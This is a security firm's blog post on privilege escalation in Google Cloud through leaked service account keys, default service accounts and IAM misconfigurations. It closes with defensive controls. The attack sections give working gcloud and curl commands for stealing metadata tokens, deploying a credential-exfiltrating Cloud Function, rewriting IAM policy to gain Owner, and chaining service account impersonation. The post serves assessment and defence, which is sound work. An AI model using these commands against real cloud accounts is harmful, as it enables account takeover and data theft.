Home SERVICES
All Services Web App Security Network Testing Cloud Security Active Directory Red Team AI Red Teaming
COMPANY
About Us Certifications FAQ
Process Industries Blog Request a Quote
Back to Blog
Cloud Security

GCP Privilege Escalation: Service Account Key Abuse and IAM Misconfigurations

Google Cloud Platform security assessments reveal a distinct set of privilege escalation paths compared to AWS or Azure. GCP's service account architecture and IAM binding model introduce attack surfaces that are easy to overlook during architecture reviews but straightforward to exploit once an initial foothold is established. In the assessments we run out of Toronto for enterprise clients, GCP IAM misconfiguration consistently produces some of the highest-severity findings we document — and the most reliable paths to full organisation compromise.

GCP IAM Model: What Makes It Different

GCP organises resources in a hierarchy: Organisation at the top, followed by Folders, Projects, and individual resources. IAM bindings can be applied at any level of this hierarchy, and permissions granted at a higher level are automatically inherited by everything below it. An IAM binding on an Organisation node applies to every project, every resource, and every service account within that organisation.

This inheritance model is the first major differentiator. In AWS, policies are attached to identities or resources directly. In GCP, a single binding high in the resource hierarchy silently grants access to thousands of resources that may have been created years after the binding was established.

The second differentiator is the dual nature of service accounts. A GCP service account functions simultaneously as an identity (something that makes API calls) and as a resource (something that IAM bindings can be attached to). This means a principal can be granted permission to act as a service account without being granted any of the permissions that service account holds. The iam.serviceAccountTokenCreator and iam.serviceAccountUser roles exploit exactly this separation.

The third differentiator is the scope of default service accounts. Every GCP project that enables the Compute Engine or App Engine APIs automatically creates a default service account. These defaults are granted the Editor role on the project by default — a design choice that Google has since moved to restrict on new projects, but which persists in the vast majority of environments we assess.

Service Account Key Abuse

Service account keys are long-lived JSON credential files that authenticate as the associated service account. Unlike short-lived tokens, these keys do not expire unless explicitly rotated. In our assessments, exposed service account key files are among the most common critical findings we document — and among the easiest to exploit.

Keys Left in Source Repositories and CI Pipelines

The most common exposure pattern is a key file committed to a Git repository, either directly in the project directory or embedded in a CI configuration. Developers who need to authenticate a build pipeline or deploy process generate a key, store it as a secret or environment variable, and at some point it ends up in version control. A single git log -p or search through GitHub Actions workflow history is enough to recover it.

# Authenticate using a recovered key file
gcloud auth activate-service-account \
  --key-file=recovered-key.json

# Confirm the identity and project context
gcloud auth list
gcloud config list

# Enumerate what the account can do
gcloud projects list
gcloud iam service-accounts list --project=TARGET_PROJECT

Key Rotation Failures

Even when organisations have a key rotation policy, implementation is inconsistent. We regularly find environments where keys were created eighteen to thirty-six months prior and have never been rotated. GCP does not enforce key expiry. Keys remain valid indefinitely until explicitly deleted. A compromised key from a contractor who left two years ago may still authenticate successfully today.

# List all keys for a service account — dates reveal rotation failures
gcloud iam service-accounts keys list \
  --iam-account=TARGET@PROJECT.iam.gserviceaccount.com \
  --format="table(name,validAfterTime,validBeforeTime,keyType)"

Default Service Accounts with Excessive Permissions

The Compute Engine default service account — formatted as PROJECT_NUMBER-compute@developer.gserviceaccount.com — is granted the Editor role by default. Editor permits creating, modifying, and deleting most resources in the project. It does not permit IAM modifications, which keeps it just below admin level, but the access it provides is substantial. Any application running on a Compute Engine instance can query the instance metadata server for a short-lived token scoped to this account without any authentication.

# Query the GCE metadata server from inside a compromised instance
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Use the token directly in API calls
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

IAM Privilege Escalation Chains

Once operating under an initial identity — whether a leaked key, a metadata token, or a compromised user account — the next objective is identifying escalation paths. GCP offers several reliable chains.

setIamPolicy Abuse

Any principal holding resourcemanager.projects.setIamPolicy can modify the IAM bindings on a project directly. This is the most direct escalation: the attacker simply adds a binding that grants their target identity the Owner or roles/editor role.

# Read the current policy
gcloud projects get-iam-policy TARGET_PROJECT \
  --format=json > current-policy.json

# Modify current-policy.json to add the desired binding, then write it back
gcloud projects set-iam-policy TARGET_PROJECT modified-policy.json

The equivalent applies at the organisation level with resourcemanager.organizations.setIamPolicy. An attacker who reaches this permission can grant themselves or any controlled identity Owner access across the entire GCP organisation — every project, every resource, every data store.

iam.serviceAccounts.actAs Exploitation

The iam.serviceAccounts.actAs permission allows a principal to attach a service account to a resource they create — a Compute Engine instance, a Cloud Run service, a Cloud Function. Once the resource is running under that service account, the attacker can retrieve the service account's credentials from the metadata server or the resource's execution environment.

# Create a Cloud Function that exfiltrates the attached service account token
gcloud functions deploy exfil \
  --runtime python311 \
  --trigger-http \
  --allow-unauthenticated \
  --service-account=HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com \
  --source=./payload/

# Once deployed, invoke the function to retrieve credentials
curl "https://REGION-PROJECT.cloudfunctions.net/exfil"

This chain requires only two permissions: iam.serviceAccounts.actAs on the target service account, and the permission to create a compute resource in the project. Neither permission individually looks alarming in a policy review.

Service Account Impersonation Chains

GCP supports delegated token generation, where one service account can generate short-lived tokens that authenticate as another service account, provided it holds iam.serviceAccountTokenCreator on the target. These impersonation relationships can be chained: Identity A impersonates Identity B, which impersonates Identity C, ultimately reaching a high-privilege account.

# Generate a short-lived token impersonating a target service account
gcloud auth print-access-token \
  --impersonate-service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com

# Chain impersonation through an intermediate account
gcloud auth print-access-token \
  --impersonate-service-account=FINAL_TARGET@PROJECT.iam.gserviceaccount.com \
  --delegates=INTERMEDIATE_SA@PROJECT.iam.gserviceaccount.com

Mapping these chains requires enumerating the IAM bindings on every service account in the project, not just the project-level IAM policy. In large environments with dozens of service accounts, this graph can be complex — but automated enumeration tools handle it quickly.

Token Generation via iam.serviceAccounts.getAccessToken

The iam.serviceAccounts.getAccessToken permission, included in the roles/iam.serviceAccountTokenCreator role, allows direct generation of OAuth2 access tokens for any service account the principal has this permission over. Unlike key-based authentication, these tokens are short-lived and leave no persistent artefact — making this escalation path harder to detect after the fact.

# Generate an access token via the IAM credentials API
curl -s -X POST \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/TARGET@PROJECT.iam.gserviceaccount.com:generateAccessToken"

From Project to Organisation

Project-level compromise is a significant finding on its own. Organisation-level compromise is a different category entirely — it means access to every project, every dataset, every secret, and every resource the organisation has deployed in GCP.

Cross-Project Pivoting Through Shared Service Accounts

Many organisations use a single service account across multiple projects — a CI/CD account, a monitoring account, a data pipeline account. If that service account is compromised at the project level, the attacker gains the same access in every other project where the account holds bindings. Enumerating cross-project bindings requires querying the organisation-level IAM policy and iterating through all projects, which the Cloud Asset Inventory API supports efficiently.

# Export all IAM policies across the organisation using Cloud Asset Inventory
gcloud asset search-all-iam-policies \
  --scope=organizations/ORG_ID \
  --query="policy:COMPROMISED_SA@PROJECT.iam.gserviceaccount.com" \
  --format=json

This single command reveals every resource and project where the compromised identity holds a binding. In assessments, we have found shared service accounts with IAM bindings in six to twelve separate projects — each with different security postures and different data classifications.

Organisation-Level IAM Bindings

Bindings placed at the organisation node are inherited by all child resources. A principal with a binding at org level effectively holds that role in every project in the organisation. We look for common misconfigurations: overly broad roles granted to groups whose membership is not tightly controlled, legacy bindings that were never removed after a project was decommissioned, and service accounts that were granted org-level access for a specific task and never had that access revoked.

# Retrieve the organisation-level IAM policy
gcloud organizations get-iam-policy ORG_ID --format=json

# Identify bindings on the organisation node that grant broad roles
gcloud organizations get-iam-policy ORG_ID \
  --format="table(bindings.role,bindings.members[])" \
  --flatten="bindings[].members"

Billing Account Access and Blast Radius Mapping

Billing account access is a frequently overlooked escalation target. A principal with billing.accounts.getIamPolicy and billing.accounts.setIamPolicy on a billing account can modify who has access to billing data — and billing account administrators can link or unlink projects, effectively creating denial-of-service conditions across the organisation's entire GCP footprint.

When we map blast radius during an assessment, we construct a graph that starts from the initial compromise point and traces every reachable identity, every reachable project, and every organisation-level binding that could be modified or abused. In our experience, an organisation that believes a single developer account was compromised frequently finds — after mapping — that the actual blast radius extends to three to five additional projects and multiple high-privilege service accounts.

Defensive Guidance

The following controls address the privilege escalation paths documented above. Priority should be given to the first three, which close the most commonly exploited paths.

  • Disable automatic service account key creation. Enforce the iam.disableServiceAccountKeyCreation organisation policy constraint. Use Workload Identity Federation or short-lived tokens for workload authentication instead of exported key files.
  • Audit and remove existing exported keys. Run gcloud iam service-accounts keys list across all projects. Delete any user-managed keys older than 90 days. Treat any key older than 180 days as a confirmed finding regardless of whether it has been rotated.
  • Restrict the default service account Editor binding. Apply the iam.automaticIamGrantsForDefaultServiceAccounts organisation policy constraint to prevent new projects from automatically granting Editor to default service accounts. Manually audit and reduce existing Editor bindings on default accounts.
  • Limit setIamPolicy permissions strictly. The ability to modify IAM bindings is effectively an admin-equivalent permission. Treat setIamPolicy at the project or organisation level as requiring the same approval and monitoring as Owner role assignments.
  • Enumerate service account impersonation chains. Map the full graph of iam.serviceAccountTokenCreator bindings across all service accounts. Any chain that reaches a high-privilege identity without passing through an explicitly approved account should be remediated.
  • Enable organisation policy constraints proactively. Beyond key creation, enable constraints restricting resource location, VM external IP addresses, and public access to Cloud Storage buckets. Constraints reduce the surface available to an attacker who has already escalated.
  • Deploy Cloud Asset Inventory continuous monitoring. Configure real-time IAM policy change alerts using Cloud Logging log sinks and Pub/Sub. Any modification to an organisation-level or project-level IAM policy should trigger immediate review.
  • Implement VPC Service Controls. Service perimeters limit the APIs accessible from within a given context, containing the blast radius of a compromised service account even if the account holds broad permissions.
Key takeaway: GCP privilege escalation is rarely a single-step action. It is a chain — a leaked key leads to a default service account, which holds actAs on a privileged service account, which holds a binding at the organisation level. The individual links look unremarkable in isolation. Identifying the chain requires mapping the full IAM graph, not reviewing individual policies in isolation. Every GCP engagement we run surfaces at least one complete escalation chain from a low-privilege starting point to organisation-wide access.
RELATED ARTICLES
Explore Cloud Security Assessment →